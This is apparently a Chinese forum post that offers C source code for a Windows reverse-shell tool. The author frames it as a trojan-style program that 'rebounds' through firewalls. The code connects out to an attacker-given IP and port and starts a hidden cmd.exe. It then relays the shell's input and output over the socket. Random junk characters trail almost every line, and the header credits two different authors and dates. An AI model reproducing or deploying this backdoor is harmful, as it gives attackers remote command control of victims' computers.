这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }c4F}Cy
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/* ============================== PiR`4Tu
Rebound port in Windows NT tC f@v'1t
By wind,2006/7 ?&1%&?cg9
===============================*/ rSW{1o'
#include C;70,!3
#include sZqi)lo-s
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#pragma comment(lib,"wsock32.lib") aOoWB^;6
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void OutputShell(); :t+LuH g
SOCKET sClient; uSCI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O,J,Q|`H&
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void main(int argc,char **argv) !g>mjD
{ 5=8_Le
WSADATA stWsaData; GWj !n
int nRet; T~}g{q,tR
SOCKADDR_IN stSaiClient,stSaiServer; X/Fip0i
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if(argc != 3) Pm24;'
{ J(XK%e[8
printf("Useage:\n\rRebound DestIP DestPort\n"); (@\0P H0
return; zCwb>v
} )5;|mV
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WSAStartup(MAKEWORD(2,2),&stWsaData); o+<hI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ROfke.N\'
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stSaiClient.sin_family = AF_INET; )@.ODW;`
stSaiClient.sin_port = htons(0); E/ku VZX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jz&= 8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1BzU-Ma
{ WPu%{/[
printf("Bind Socket Failed!\n"); )[t3-'
return; 1b!5h
} *q Ins/@
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stSaiServer.sin_family = AF_INET; jN7Z}1`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \WVY@eB
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ! -gOqo
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sD<8-n
{ rIH+X2x
printf("Connect Error!"); mP)im]H
return; xoE,3Sn
} P(zquKm
OutputShell(); B"RZpx
} rf&nTDaWI
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void OutputShell() _Nbh Wv
{ -32.g\]
char szBuff[1024]; )#cGePA
SECURITY_ATTRIBUTES stSecurityAttributes; BQ~&gy{
OSVERSIONINFO stOsversionInfo; v{U1B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =(5}0}j
STARTUPINFO stStartupInfo; QV%eTA
char *szShell; b@[5xv\J
PROCESS_INFORMATION stProcessInformation; ~x+24/qT
unsigned long lBytesRead; _P]k6z+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @/?$ ZX/e[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); opxPK=kJ
stSecurityAttributes.lpSecurityDescriptor = 0; ds
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stSecurityAttributes.bInheritHandle = TRUE; fbW#6:Y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {D&:^f
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K:sC6|wG
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9hs7B!3pc>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3^AS8%qG
stStartupInfo.wShowWindow = SW_HIDE; z#|tl/aP9
stStartupInfo.hStdInput = hReadPipe; ;,LlOR
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `\S~;O
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GetVersionEx(&stOsversionInfo); ?Wp{tB9N0
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switch(stOsversionInfo.dwPlatformId) ~7=w,+
{ DcLx[C
case 1: C[(Exe
szShell = "command.com"; uI[lrMQYa
break; IqONDdep9
default: o//PlG~
szShell = "cmd.exe"; T k>N4yq
break; jvos)$;L-
} C0Ti9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NvlG@^&S
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send(sClient,szMsg,77,0); ~x}=lK N
while(1) .:s**UiDR
{ 8/E?3a_g-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Fop"m/
if(lBytesRead) E%+1^
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{ l4Y}<j\;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =zW.~(c{
send(sClient,szBuff,lBytesRead,0); PfVjfrI[
} )Ikx0vDFQ
else ^?tF'l`
{ >U$,/_uMNW
lBytesRead=recv(sClient,szBuff,1024,0); [&FWR
if(lBytesRead<=0) break; r&ex<(I{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "%Eyb\V!
} v0} .!u>Ww
} r@(hRl1k'
n.Q?@\}2
return; Y1vSwS%{T
}